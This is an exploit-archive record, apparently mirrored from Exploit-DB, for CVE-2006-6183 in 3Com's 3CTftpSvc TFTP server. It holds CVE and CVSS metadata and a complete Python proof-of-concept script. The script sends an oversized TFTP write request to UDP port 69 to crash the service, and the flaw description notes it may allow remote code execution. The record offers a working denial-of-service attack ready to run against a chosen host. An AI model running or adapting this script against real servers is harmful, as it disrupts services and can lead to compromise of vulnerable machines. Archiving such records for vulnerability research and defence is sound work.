{"exploit":{"id":"EDB-2855","name":"3Com TFTP Service (3CTftpSvc) 2.0.1 - 'Long Transporting Mode' Overflow (PoC)","description":"3Com TFTP Service (3CTftpSvc) 2.0.1 - 'Long Transporting Mode' Overflow (PoC)","cves":["CVE-2006-6183"],"author":"Liu Qixu","published":"2006-11-27","platform":"windows","type":"dos","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/2855","path":"exploits/windows/dos/2855.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-2855.py","vulnerabilities":[{"id":"CVE-2006-6183","state":"PUBLISHED","title":null,"titleSource":null,"description":"Multiple stack-based buffer overflows in 3Com 3CTftpSvc 2.0.1, and possibly earlier, allow remote attackers to cause a denial of service (crash) or execute arbitrary code via a long mode field (aka transporting mode) in a (1) GET or (2) PUT command.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2006-6183","cvss":{"version":"2.0","baseScore":10,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2006-6183"},"updatedAt":"2024-08-07T20:19:35.097Z","retrievedAt":"2026-11-26T19:55:27.923Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-2855.png?v=2","url":"https://exploitbin.com/exploits/EDB-2855","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-2855/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-2855/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/python\n# Buffer Overflow (Long transporting mode) Vulnerability Exploit\n# This is just a DoS exploiting code\n# Tested on Windows xp SP2\n#\n# Requires python and impacket\n#\n# Coded by Liu Qixu Of NCNIPC\n\n# SUMMARY:\n\n# 3CTftpSvc TFTP Server is a Freeware TFTP server for Windows 9x/NT/XP.\n# (http://support.3com.com/software/utilities_for_windows_32_bit.htm\n# or ftp://ftp.3com.com/pub/utilbin/win32/3CTftpSvc.zip)\n# It provides an implementation of the TFTPv2 protocol.\n\n# A vulnerability has been identified in 3CTftpSvc TFTP Server, which could be exploited by attackers\n# to execute arbitrary commands or cause a denial of service. This flaw is\n# due to a buffer overflow error when handling an overly long transporting\n# mode (more than 470 bytes) passed to a \"GET\" or \"PUT\" command, which could\n# be exploited by malicious users to compromise a vulnerable system or crash\n# an affected application.\n\n# EXPLOIT:\n\nimport socket\nimport sys\n\nhost = '192.168.1.11'\nport = 69\n\ntry:\n   s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\nexcept:\n   print \"socket() failed\"\n   sys.exit(1)\n\nfilename = \"A\"\nmode = \"netascii\" + \"A\" * 469\nda = \"\\x00\\x02\" + filename + \"\\0\" + mode + \"\\0\"\ns.sendto(da, (host, port))\n\n# milw0rm.com [2006-11-27]","sha256":"d370fdf6bc1b3b60daefe97f296c4810934776755f53a4a7216c37593a30dc14","bytes":1244,"fetchedAt":"2026-11-27T04:11:16.284Z","encoding":"utf-8 (display only; download retains original bytes)"}